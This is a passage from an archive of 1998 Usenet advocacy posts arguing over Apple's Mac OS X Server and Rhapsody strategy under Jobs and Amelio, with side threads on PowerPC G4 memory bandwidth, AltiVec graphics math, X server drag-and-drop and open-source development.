References: <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <ericb-0310981902260001@r4149.resnet.cornell.edu> <01bdef38$8ec16d10$06387880@chewy> <3616049A.6DA9@southwind.net> <ckoller-1710981059160001@172.los-angeles-05.ca.dial-access.att.net> <36290128.BEF527F9@nstar.net> <ckoller-1810981638320001@31.los-angeles-09.ca.dial-access.att.net> <362A8003.C1302C38@nstar.net> <ckoller-1810982237520001@147.los-angeles-09.ca.dial-access.att.net> <362AF471.52E4AE42@nstar.net>
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In article <362AF471.52E4AE42@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Craig Koller wrote:
>
> > First off, it's not like Apple's stomping little puppies with soccer
> > cleats, it's retargetting its OS strategy, while streamlining the product
> > line. Big whoop. If you don't get it, then don't buy it. It's that simple.
>
> I don't get it.
I don't doubt it.
>
> > Near death is certainly not carte blanche to wreak havoc (the way you seem
> > to be painting it) but it does make for some drastic decisions. That's all
> > this is, and so far, it's turning out to be the wisest set of moves we've
> > seen from Cupertino in a long, long while. And it has little or nothing to
> > do with the kind of stuff we're seeing from Redmond.
>
> The "wisest set of moves"? Why? I get the feeling that just about
> anything will get the stamp of approval these days.
Well, you're entitled to your feelings...
>
> What will you say if the rumors of OS X Server's death are true? Will
> you call it a "brave, bold move" or a "hard decision that Apple had to
> make"?
No, it would suck. But seeing that insiders report OS X is already Golden
Master, and Apple PR said it's on track for release "this Fall," I think
it's a bit of a silly proposal, even for Don Crabb to get sucked into...
> Will you say "I applaud Jobs' courage" and "we're looking at a
> brighter future than ever"? The MacOS community will undoubtedly outdo
> itself in its rush to excuse Jobs for what would be a colossal fuck-up.
OS X has a pretty small audience, number one, and this would impact an
extremely small minority of users, so don't even expect most Mac folk to
know about this (we're all getting MacOS 8.5, remember?)
>
> > Who *ever* said that? What we're getting -bottom line - is a product we
> > prefer handily over MS product. And at the same time Wintel FUDmeisters
> > want to throw out this bogus argument that Steve Jobs is part of some
> > conspiracy to perpetuate Apple's crack-the-whip OS strategy. The guy's
> > been on the job for ONE YEAR, and he did the smart by rebuilding from
> > MacOS *UP*, rather than continuing to pull the OSBORNE that Spindler and
> > Amelio did, devaluing MacOS with Copeland/Rhapsody and not being able to
> > deliver...thus leaving Mac users with a perceived turd.
>
> No, I'm sorry, you have it 100% wrong. It was Jobs that abandoned MacOS,
> leaving it twisting in the wind. Amelio made *solid* committments to
> MacOS. His public statements to that effect were *very* clear, and he
> mapped out a strategy that put MacOS on solid footing.
Bull. Were you there at MacWorld 1997 when Amelio put up a slide of MacOS
that showed a decrepit circa 1919 bi-plane laboring, trying to hoist a pile
of equipment? He said that MacOS was not designed for today's workload, and
thus Rhapsody was the answer. He declared MacOS as creaky. I was there. I
saw it.
Amelio offered continued support for MacOS as the idiot-child OS, for those
who continued to use it. So what? Who wants to hang on to a product
declared decripit by the company's CEO?
>
> Which Jobs promptly canned. He built from Rhapsody *down*, weaving this
> idiotic Carbon strategy to emphasize the move to Rhapsody. Rather than
> patiently awaiting developer acceptance of a completely new system, he
> has dragged the company's future through the dust.
HUHHHHH?????? "Patiently awaiting developer acceptance?" Now, you've just
plain gotten hopped up on goof balls. Developers weren't going to port
their commercial apps over to Rhapsody, no way, no how. Not for a shrinking
market share, when they could simply continue to support Windows and gain a
substantial rise in revenues. Carbon was for the *developers* not for the
users... Of what benefit was it for Apple to come up with this transition,
when it would be a lot easier to insist that developers get with the
program? Simple. It wouldn't work.
MacOS developers
> *still* don't have a new kernel, *still* don't have a rewritten API, and
> *still* don't have a general-purpose 3D strategy.
What are you talking about? Developers can make their apps buzzword
compliant easily via Carbon rather than the Rhapsody YB-or-bust strategy.
NeXT developers can run their apps in the YB of MacOS X Server, and as for
the 3D strategy (OpenGL, right?), my understanding is that Jobs has been
open about supporting it, but then what happens to QD3D? See, if he boots
that, then we have *another* hue and cry that Apple's being unethical.
>
> Would-be Rhapsody developers *still* don't have a shipping OS on which
> to deploy apps. Apple *still* lacks an enterprise strategy, *still*
> lacks a cross-platform solution, and *still* lacks the technology on
> which to build a new licensing program.
See, none of this has anything to do with ethics. I don't hear collective
howling in the Rhapsody developer community, calling for Jobs' head. And
all this you point out comes within weeks of MacOS X Server's roll-out. I
suppose until you have a shrink-wrapped box in your hand, you'll continue
to insists that Apple's out to destroy it's loyal Rhapsody community...
>
> > Not too smart. The ramifcations of such idiocy have proven more costly
> > than many companies would be able to afford.
>
> The ramifications of Amelio's "idiocy" are currently putting Jobs in the
> headlines as Apple makes profits on *fewer* revenues, due to Amelio's
> early cost-cutting measures.
Amelio did some accounting clean-up, but Jobs pared down the product line,
reduced inventory, and most importantly revitalized the Apple marketing
message and got the channel excited, and shut up the doomsaying press from
pronouncing Apple's certain death.
>
> > Unlike his predecessors, Jobs went back to square one.
>
> What does this mean?!
Look at the iMac! What is it? It's a Macintosh like the first Macintosh!
Apple's sticking to its knitting, making machines and an OS that attracts
customers. Not PDA's, not Pippin's, not splattering a mindless cloud of
technology blips (Hot Sauce? OpenDoc? ScriptX? ...) that do little more
than create confusion and another battle front against Microsoft.
"Square One" means make the Macintosh the best, most desireable computer
there is, period.
>
> > Mac users have
> > reason to be happy about this, and so do developers. It marks a return to
> > stability, to priorities being back in the right order. It's about MacOS.
> > Let me repeat that. IT'S ABOUT MACOS.
>
> Right...which is why Jobs has spent *so* much time developing new MacOS
> technologies. What better evidence that Jobs has his priorities straight
> than Sherlock? That's going to tear up the competition. [sarcasm]
You got a problem with Sherlock? Gosh, I guess simplifying web searches and
making them more powerful has no value to you. Much of this is Jobs
repackaging the same old technology that we saw floating around Apple for
years (V-Twin? Gimme a break, it's been around forever) and making it a
compelling MacOS feature for customers.
>
> > Unethically? Cutting unprofitable products, methods and strategies, is
> > unethical? How in God's name can you compare this to say, the SUN,
> > Netscape, Stak, CP/M-Caldera, AOL, Quicktime, Intuit dance of 97 Class
> > Action Suits that MS is currently in the middle of?
>
> I can drop names, too: Exponential
Exponential never delivered on its promises while Moto and IBM were able to
provide near similar performance on a cheap chip that would function in
either a desktop or laptop. It would have been suicide for Apple to cling
to Exponentials diminishing returns...
> Power Computing, Motorola, the
> hundreds of thousands of 60x-based PowerMac owners.
MacOS 8.5 works fine on a 60X-based PowerMac and clone. MacOS X Server will
work fine on PCI Macs and clones. And there's every indication that MacOS X
will do the same.
My own mother bought
> a 7300/180 in the hopes of running a new operating system! Don't fucking
> preach to me about how Apple's being "practical". My father's $5400
> original Powerbook G3 won't even be officially supported by MacOS X.
> This, a Powerbook that developed a broken video card on the 91st day he
> owned it.
Yeah, Steve probably engineered that to happen personally.
>
> [cut]
>
> > So, let's recap: Killing competition vs. making the best products. Uh,
> > I'll opt for the latter...
>
> You asked for it, you got it. Nobody deserves anything like the Mac
> market deserves Jobs...
Finally, something we agree on.
>
> MJP
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 19 Oct 1998 19:48:37 GMT
Organization: MediActive
Message-ID: <ckoller-ya02408000R1910981251070001@netnews.worldnet.att.net>
References: <362A8003.C1302C38@nstar.net> <F12zF3.2wH@T-FCN.Net> <362B60A7.C227DAF9@ericsson.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
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In article <362B60A7.C227DAF9@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Maury Markowitz wrote:
>
> > > It's okay for Apple to act this way because they almost died? Huh?
> >
> > Ummm, yes. Do you suggest it's not?
>
> Ummm, yes.
>
> > That strikes me as a very odd definition of ethics.
>
> Don't worry, I already got the official "Apple at all costs" laundry
> list from Craig. No need for you to weigh in, here. Move along. Nothing
> to see.
Obviously it's of no value for someone to chime in in agreement... We're
all part of one monolithically brainwashed entity.
>
> MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Mon, 19 Oct 1998 15:24:59 -0500
Organization: Ericsson North America Inc.
Message-ID: <362BA01B.D0CA294E@ericsson.com>
References: <ckoller-ya02408000R1910981247230001@netnews.worldnet.att.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Craig Koller wrote:
[cut]
> HUHHHHH?????? "Patiently awaiting developer acceptance?" Now, you've just
> plain gotten hopped up on goof balls. Developers weren't going to port
> their commercial apps over to Rhapsody, no way, no how. Not for a shrinking
> market share, when they could simply continue to support Windows and gain a
> substantial rise in revenues. Carbon was for the *developers* not for the
> users... Of what benefit was it for Apple to come up with this transition,
> when it would be a lot easier to insist that developers get with the
> program? Simple. It wouldn't work.
Let me get this straight: MacOS wasn't good enough, and Rhapsody ports
wouldn't be written, so the proper solution is to wait until 1999 to
ship a re-vamp of the old MacOS Toolbox? In other words, instead of
shipping Rhapsody right away and improving MacOS in the meantime, it was
better to let MacOS stagnate and push Rhapsody way out?
Ah, I see. Very good. Carry on.
> What are you talking about? Developers can make their apps buzzword
> compliant easily via Carbon
They *can*? You've got a Carbon-based OS in front of you, eh?
No, of course you haven't.
> rather than the Rhapsody YB-or-bust strategy.
"YB-or-bust" my ass. You obviously didn't listen to Amelio as carefully
as you claim to have.
> NeXT developers can run their apps in the YB of MacOS X Server, and as for
> the 3D strategy (OpenGL, right?), my understanding is that Jobs has been
> open about supporting it, but then what happens to QD3D? See, if he boots
> that, then we have *another* hue and cry that Apple's being unethical.
QD3D is already dead.
> See, none of this has anything to do with ethics. I don't hear collective
> howling in the Rhapsody developer community, calling for Jobs' head. And
> all this you point out comes within weeks of MacOS X Server's roll-out. I
> suppose until you have a shrink-wrapped box in your hand, you'll continue
> to insists that Apple's out to destroy it's loyal Rhapsody community...
Yep. As long as Apple fails to ship it's long-overdue
Copland-then-Rhapsody-then-MacOS X Server product, I will claim that
Apple is destroying the NeXT community. You got it.
[cut]
> > What does this mean?!
>
> Look at the iMac! What is it? It's a Macintosh like the first Macintosh!
> Apple's sticking to its knitting, making machines and an OS that attracts
> customers. Not PDA's, not Pippin's, not splattering a mindless cloud of
> technology blips (Hot Sauce? OpenDoc? ScriptX? ...) that do little more
> than create confusion and another battle front against Microsoft.
The important thing about the iMac is that it was finished and shipped,
not that it was "square one". Lack of execution is Apple's problem, not
a "mindless cloud of technology blips". Speaking of lack of execution,
Apple *still* has that problem.
> "Square One" means make the Macintosh the best, most desireable computer
> there is, period.
Please, please. The phlegm is out of control already.
> You got a problem with Sherlock? Gosh, I guess simplifying web searches and
> making them more powerful has no value to you. Much of this is Jobs
> repackaging the same old technology that we saw floating around Apple for
> years (V-Twin? Gimme a break, it's been around forever) and making it a
> compelling MacOS feature for customers.
I have no problem with Sherlock. I have a problem with the suggestion
that MacOS is being aggressively developed. As you yourself said, "it's
been around forever".
> > I can drop names, too: Exponential
>
> Exponential never delivered on its promises while Moto and IBM were able to
> provide near similar performance on a cheap chip that would function in
> either a desktop or laptop. It would have been suicide for Apple to cling
> to Exponentials diminishing returns...
I can see we're in for a wild ride. Hang on, folks, the spin is just
getting started...
> MacOS 8.5 works fine on a 60X-based PowerMac and clone.
So? Why should I care about MacOS 8.5? (save yourself the trouble if
we're going to get another Sherlock spiel)
> MacOS X Server will
> work fine on PCI Macs and clones. And there's every indication that MacOS X
> will do the same.
Bonus! So my mother's machine will be supported?
> Yeah, Steve probably engineered that to happen personally.
Are you attached at the hip, or what?
> > You asked for it, you got it. Nobody deserves anything like the Mac
> > market deserves Jobs...
>
> Finally, something we agree on.
I'll let DejaNews save this one for the sweet irony 12 months from now.
MJP
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 19 Oct 1998 19:59:58 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <70g5nu$kun@newsb.netnews.att.com>
References: <362A8003.C1302C38@nstar.net> <F12zF3.2wH@T-FCN.Net> <362B60A7.C227DAF9@ericsson.com> <ckoller-ya02408000R1910981251070001@netnews.worldnet.att.net>
Originator: gupta@tlctest
Trying to get developers to rewrite code to the Yellow Box
for a company that was shrinking both in market share and in
absolute number of units shipped was a pretty hopeless
strategy in the first place, IMO.
"Microsoft beats the drum for NT 5.0"
http://www.zdnet.com/windows/stories/main/0,4728,361435,00.html
examines the truth behind Gates' much publicized statement
made recently, that NT 5.0 would ship with over 60,000 applications
ready for it.
The 60,000 count is not a count of NT 5.0 optimized or
NT 5.0 logo-bearing applications. At the Microsoft Professional
Developers' Conference, exhibitors were encouraged to display the
NT 5.0 sign, no matter how little it was that they could claim
was ready for NT 5.0.
-arun gupta
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 19 Oct 1998 20:09:21 GMT
Organization: University of Illinois at Chicago
Message-ID: <70g69h$2mm8$1@piglet.cc.uic.edu>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F139BB.72C@T-FCN.Net>
Maury Markowitz (maury@remove_this.istar.ca) wrote:
: In <70ftih$2ego$1@piglet.cc.uic.edu> Anil T Maliyekke wrote:
: > A single RAMBUS channel will provide the same amount of bandwidth
: > as the 128 bit bus operating at 100MHz.
: Interesting, thanks.
: > Well if you are processing a large data set using 128 bit vectors,
: > having double the bandwidth will help you fill those cache lines from
: > main memory a lot quicker. Same goes for double precision FP.
: Ok, that's what I thought you were referring to.
: > I mean implementing a double rate interface where data is
: > transfered on both the rising and falling edge of the bus
: > clock. This way a 128 bit 100MHz system bus would be able to
: > provide data at twice the rate (200MHz) and provide 3.2 GB/s
: > of bandwidth.
: Is this in use on other machines today? I've not heard of this, but I'm
: not terribly up on the hardware side of things.
: Maury
Well, double rate SDRAMs are just becoming available. Also,
HP's next generation of PA-RISC 8500 workstations and servers
are probably going to use a DDR 64 bit Runway bus, which
will have a data rate of 240MHz.
Double rate SRAMs are also becoming available.
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 19 Oct 1998 20:21:09 GMT
Organization: University of Illinois at Chicago
Message-ID: <70g6vl$uj6$1@piglet.cc.uic.edu>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F139H5.78H@T-FCN.Net>
Maury Markowitz (maury@remove_this.istar.ca) wrote:
: In <70ftih$2ego$1@piglet.cc.uic.edu> Anil T Maliyekke wrote:
: > I mean implementing a double rate interface where data is
: > transfered on both the rising and falling edge of the bus
: > clock. This way a 128 bit 100MHz system bus would be able to
: > provide data at twice the rate (200MHz) and provide 3.2 GB/s
: > of bandwidth.
: Sorry, more questions. In order to get these speeds it seems we need a
: significanly upgraded memory bus. Would interleaving make everyone happy?
: And what is needed for double rate use? Do current DRAMs handle this under
: the proper conditions?
: Maury
It would require extra logic to be added. Interleaving won't
increase bandwidth to the processor. And SDRAMs supporting
DDR are becoming available, but you also have other options
for increasing bandwidth on the memory side of the chipset,
like maybe using two RAMBUS channels.
Of course, maybe you may not be able to design larger bus based
SMP systems if you do this. But you would be able to maximize performance
for one and two procsesors working on large data sets. Of course
maybe you would just be better off integrating the I/O interface
and 2 to 4 RAMBUS channels on chip w/ 2 processors.
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Sun, 18 Oct 1998 11:02:27 -0500
Organization: none
Message-ID: <tim-1810981102270001@jump-tnt-0230.customer.jump.net>
References: <tim-1610982233450001@jump-tnt-0185.customer.jump.net> <B24DB419-18FAE@206.165.43.124> <tim-1710980845220001@jump-tnt-0140.customer.jump.net> <70bsns$3dn$1@nnrp1.dejanews.com>
In article <70bsns$3dn$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
| Metrowerks has a "long long" type that I'm sure they didn't add for fun.
Yes, but is it used often enough to require direct hardware implementation?
Software "emulation" of 64-bit operations only require 1 extra instruction
and cycle for addition/subtraction, 2 extra for an equality comparison &
branch, and 4 extra for magnitude comparisons.
--
-- Tim Olson
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 19 Oct 98 14:19:09 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B250FAE4-1116AC@206.165.43.49>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.powerpc.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>
> But even in these cases you're almost certainly better off doing all of
>the graphics on the FPU and leaving the int to the branching stuff. IE,
GX
>on the FPU would result in (likely) the same or better overall
performance.
>
Which part of GX would have a better overall performance using non-AltiVec
FP?
I was speaking specifically of doing 3D transforms on large bitmaps. That's
pretty much an integer-only (or at least, mostly) proposition on a
non-AltiVec CPU since you have to basically perform a texture-mapping
transform, possibly with anti-aliasing and other DTP-oriented goodies on a
per-pixel basis..
The way GX and QT (I assume) perform this is by taking the 16:16
fixed-point transform, converting it to 32:32 fixed-point and performing
the needed calculations and manipulations. One reason why this is done with
fixed in GX is because 68K machines had lousy FP performance in comparison
to fixed-point. Another issue is the conversion process. Pixel coordinates
and color channels are fixed-point entities in the video hardware that I'm
used to considering for 2D. Converting back and forth would be a pain on a
PPC without AltiVec. AltiVec apparently allows in-register conversion, so
this issue would go away (I think).
>> Of course, it may be that AltiVec renders most of these points obsolete.
I
>> don't recall how conversion between AltiVec fixed and float goes. It
still
>> touches memory during the process, doesn't it?
>
> The problem there is the memory bandwidth, as AV will typically be used
>on huge streamed files.
There are all sorts of schemes for perspective applied to planer objects
(see _Digital Image Warping_ by George Wohlberg). Some of them should work
just fine for streamed objects, I think, as long as we're talking web-page
quality (anti-aliasing looks to add more complications than some of the
simpler interpolation strategies would allow). But we still have to deal
with the fixed<>float conversion issue. If AltiVec allows in-register
conversion, then 32-bit floats might work.
Is Maynard lurking? What's your experience here with AltiVec? Does the use
of floating point speed up non-affine transforms of bitmaps? Is it useful
outside of AltiVec or does QT still use fixed point math internally to do
transformations, even on a PPC?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 19 Oct 98 17:20:55 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B251257B-83E3E@206.165.43.67>
References: <F138sH.6E6@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.mac.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
> Lawson, it's clear that you don't have a good understanding about how
>this is supposed to work. eQD is to be a client side engine (much as QD
is
>today) that is separate from either Carbon or YB. This is also true of
>QTML in general - your statement is the same as suggesting that YB will
>"call Carbon" to get QT. This is a meaningless statement.
Excuse. I was under the impression that enhanced QuickDraw was part of the
Carbon API. It is not?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Mon, 19 Oct 1998 19:19:20 -0500
Organization: Ericsson North America Inc.
Message-ID: <362BD708.F642F6E@ericsson.com>
References: <ckoller-ya02408000R1910981247230001@netnews.worldnet.att.net> <362BA01B.D0CA294E@ericsson.com> <ckoller-ya02408000R1910981543320001@netnews.worldnet.att.net> <362BC747.D3ADBA50@ericsson.com> <JediofMacs-1910981946190001@isdn2-12.lightlink.com>
Mime-Version: 1.0
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tdean wrote:
> > Thanks. Hopefully in a year I'll be so important that I won't have time
> > for USENET
> >
> > MJP
>
> Why would you want to be THAT important? Sounds pretty miserable.
Normally, I'd agree with you, but the distracted life is beginning to
seem more attractive every day. It's been a bad USENET month.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: Mon, 19 Oct 1998 19:18:06 -0500
Organization: Ericsson North America Inc.
Message-ID: <362BD6BE.EC5FAE54@ericsson.com>
References: <70e9kf$20ju$1@piglet.cc.uic.edu> <362AB758.F311A1BD@nstar.net> <70ghgr$2kss$1@piglet.cc.uic.edu>
Mime-Version: 1.0
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Anil T Maliyekke wrote:
> There isn't a way in the general case of not knowing if
> the X server and the various applications running on the same
> machine, if you want to avoid direct application to application
> communication. A way of neogotiating a direct connection between
> the two applications would otherwise be a good idea, especially in the
> case of drag and drop of multiple large files.
Direct connection between the two applications may not be possible, or
may be totally unacceptable. In the case of cut-and-paste, applications
can't be allowed to assume that the creator application is even still
running. For drag-and-drop, while it's reasonable to assume that both
applications are running, it is not proper to assume that a direct
connection between the two apps is secure, efficient, or even possible.
The X server is designed to create a foolproof connection between the
two apps; it is not meant simply to be a facilitator.
> Otherwise in the
> case where you have some sort of file manager program running on
> a machine where it has access to a bunch of pictures and then you have
> a file viewer running on that same machine or a different machine,
> neither of which are running the X server, you would be doing
> two transfers of data and over a network no less. Plus you might
> overload your little X terminal's memory if you start moving large objects
> through it.
That's the cost of network computing. In most cases, people are not
actually moving this kind of data over the network; if they are they
need to rethink their actions. Distributed computing has a way of
breaking presumptions, as Peter Deutsch has often pointed out.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 19 Oct 98 17:31:58 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2512811-8D9D4@206.165.43.67>
References: <adtF13LBG.1Jx@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.powerpc.advocacy
Kenneth C. Dyke (kcd@babylon5.jumpgate.com) wrote:
>
>: FWIW, there are no 64x64 -> 128 bit multiply instructions currently
>: defined for the PowerPC architecture. The upshot of that is that
>: you'll have to execute two multiplies (each one will give you either
>: the uppor or lowen 64 bits of the 128 bit result) and then manually
>: extract the correct 32 bits from each result to get the 64-bit fixed
>: point result again. That's at least 4 instructions. If I use the FPU
>: instead, it only takes one, and I can also do a floating point add 'for
>: free'.
>:
But you must do a conversion from fixed-to-float in order to deal with this
value in a fixed coordinate system (such as used for a bitmap). If you
aren't using AltiVec, this would require touching memory, which might
overwhelm your calculation-time advantage.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Sat, 17 Oct 1998 16:40:48 -0600
Organization: Stone Entertainment
Message-ID: <stone-1710981640490001@rc-pm3-1-05.enetis.net>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <ericb-0310981902260001@r4149.resnet.cornell.edu> <01bdef38$8ec16d10$06387880@chewy> <3616049A.6DA9@southwind.net> <ckoller-1710981059160001@172.los-angeles-05.ca.dial-access.att.net> <36290128.BEF527F9@nstar.net>
In article <36290128.BEF527F9@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Craig Koller wrote:
> > So, given the choice of a 100% customer-fulfilling DEAD Apple, and a
> > restructured, partially fulfilling LIVING, thriving and innovating Apple?
> > C'mon...
>
> What's difference between the second choice and Microsoft?
> Just curious.
> MJP
I believe, the "innovating" part.
--
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 18 Oct 1998 17:39:48 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70d954$flm@news1.panix.com>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <tim-1610982233450001@jump-tnt-0185.customer.jump.net> <36283399.7BE30CBE@trilithon.com>
On Fri, 16 Oct 1998 23:05:13 -0700,
Henry McGilton <henry@trilithon.com> wrote:
>With huge address spaces, you gain a qualitative way of thinking
>about the world, as opposed to just being able to allocate bigger
>chunks of memory.
I heard this statement (almost verbatim) at an Oracle conference
a couple of years back.
>One example is memory-mapped files. Granted, memory-mapped files
>were around in the days of Multics. But the notion of not having
>I/O per se buys you a lot in terms of the way you do business.
>Never have to deal with 'buffers' and all that rot. Map the
>entire file into memory and treat it as an array. The concept
>took a long time to catch on, probably because it was too simple
>for the average propellor-head.
In the next few years, the phrase "4gb is enough" will sound more
and more like "640k is enough" to those of us who work with very
large corporate data warehouse, often in the 10gb+ range and
occasionally in the 50gb+ range. We can make good use of 64bit
addresses just buffering 5% of data, let alone treating the database
as a collection of very large memory mapped files.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: OpenSource (Re: Apple as Linux vendor)
Date: 18 Oct 1998 17:39:50 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70d956$flm@news1.panix.com>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <70cesn$26p$2@news.idiom.com>
On 18 Oct 1998 10:11:35 GMT,
John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote:
>->and I certainly don't support Eric Raymond's
>-> conjecture that Open Source software is, somehow, technically superior
>-> to commercial software.
>
>It doesn't require your "support."
>
>Eric's "conjecture", as you call it, is quite demonstrable. Open source
>gains the benefit of *many* eyes looking for flaws, and the proof is in the
>pudding.
I take a different view on what Eric stated in "the cathedral and the bazaar"
All of the successful software projects he talked about have one thing in
common: Good leadership.
Irregardless of whether it is Linus, or Larry Wall or anyone else, they
exhibit the ability to remain hands on without micromanaging, while keeping
a solid yet fluid goal for the future.
Eric stated that well managed projects made up of dedicated people are more
likely to be successful than poorly managed projects. I thought that was
obvious.
> Linux runs solaris binaries faster than solaris. Linux gets its
>security fixes weeks or months before the commercial UNIXes, typically neck
>and neck with the free BSD's.
I'd be willing to bet that it takes about the same time for Sun to get a
patch ready as it takes for the Linux/BSD community. The major difference
is that with Sun (or any other large company) the patch is going to have to
go through a ton of worthless meetings and QA testing before the pointy
haired management is going to allow anyone ship it.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 18 Oct 1998 17:43:11 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70d9bf$fpc@news1.panix.com>
References: <ckoller-1710981059160001@172.los-angeles-05.ca.dial-access.att.net> <B24E6463-A496B@206.165.43.152>
On 17 Oct 98 13:16:08 -0700, Lawson English <english@primenet.com> wrote:
>Apple has to release Mac-only MacOS X [consumer] and prove to the world
^^^
>(especially developers) that it is a viable platform before they can think
>of marketing it as a cross-platform solution. It will be at least a year
>AFTER the consumer release before they can seriously start marketing a
>cross-platform version.
I agree with this in spirit, but I don't think it has to be Mac only. The
decision to make it Mac only (and g3 only) has a lot more to do with
pragmatism than anything else.
Can you imagine the rage from 8x00 owners if it were supported on g3 and
PC platforms (but not 8x00)? There is some (highly) unofficial word from
Apple that leads me to believe that backwards Mac support and future PC
support will be decided on and announced within six months of MacOSX
